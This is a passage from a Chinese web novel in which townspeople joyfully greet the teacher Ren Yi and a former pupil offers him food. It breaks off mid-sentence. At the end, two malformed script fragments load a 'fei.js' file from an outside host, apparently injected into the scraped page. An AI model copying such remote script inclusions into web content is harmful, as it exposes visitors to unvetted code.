王长林挤在人群里,看着前面那个熟悉又有些陌生的身影,鼻子一下子就酸了。
任先生还是老样子。
他弯着腰,接过老人递过来的东西,认认真真地道谢。还伸手摸了摸凑过来的孩子的头,笑着跟孩子说话,一点架子都没有。遇到腿脚不便的老人,他还会伸手扶一把,轻声问老人家身体好不好。
他用尽全身力气往前挤,被人流推得东倒西歪,怀里的油纸包都快被挤扁了。终于,他挤到了最前面,正好任弋走到了他面前。
王长林再也忍不住,把怀里用油纸包好的米饼和肉干递了过去,声音都带着抖。
“任先生!您还记得我吗?我是王家村的王长林!以前在村里的夜校,听过您的课!您教我认的字,教我算的账!”
任弋接过油纸包,指尖碰到了还带着余温的米饼,抬眼看向他,眼里瞬间露出了笑意,点了点头,声音温和得很。
“记得,怎么不记得。当年你算账最快,每次我出的题,你都是第一个算出来的,作业也总是第一个交。怎么,现在米铺开得还顺利吗?”
王长林的眼泪一下子就掉了下来,咧着嘴笑,话都说不连贯了,只知道一个劲地点头。
周围的百姓们还在往前涌,嘴里不停喊着任先生,喊着刘使君。还有不少年轻力壮的小伙子,挤到队伍最前面,扯着嗓子喊,说要跟着任先生干,要参军,要跟着匡扶汉室,护着老百姓,再也不让那些狗官欺负人了。
任弋站在人群中间,对着围过来的百姓们,认认真真地拱了拱手,弯下腰鞠了一躬。
他的声音不高,却清清楚楚地传到了每个人的耳朵里。
“谢谢各位乡亲父老。谢谢大家的心意,这些东西,我们心领了。”
他顿了顿,笑着继续说,声音里带着十足的笃定。
“以后有我们在,就不会再有人横征暴敛,不会再有人随意欺压百姓。大家的日子,一定会越过越好的。我们说到做到。”
话音落下,街道上瞬间爆发出震天的欢呼声。
街上的人越来越多。
男女老少,都往南门的方向涌。有白发苍苍的老人,拄着拐杖,被家里的孩子扶着,一步一步慢慢挪,嘴里还念叨着要见见任先生。也有半大的孩子,蹦蹦跳跳地往前跑,手里举着野花,要送给刘使君和任先生。还有推着小车的妇人,车上放着一筐筐的鸡蛋、自家蒸的窝头、连夜纳的布鞋,都
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">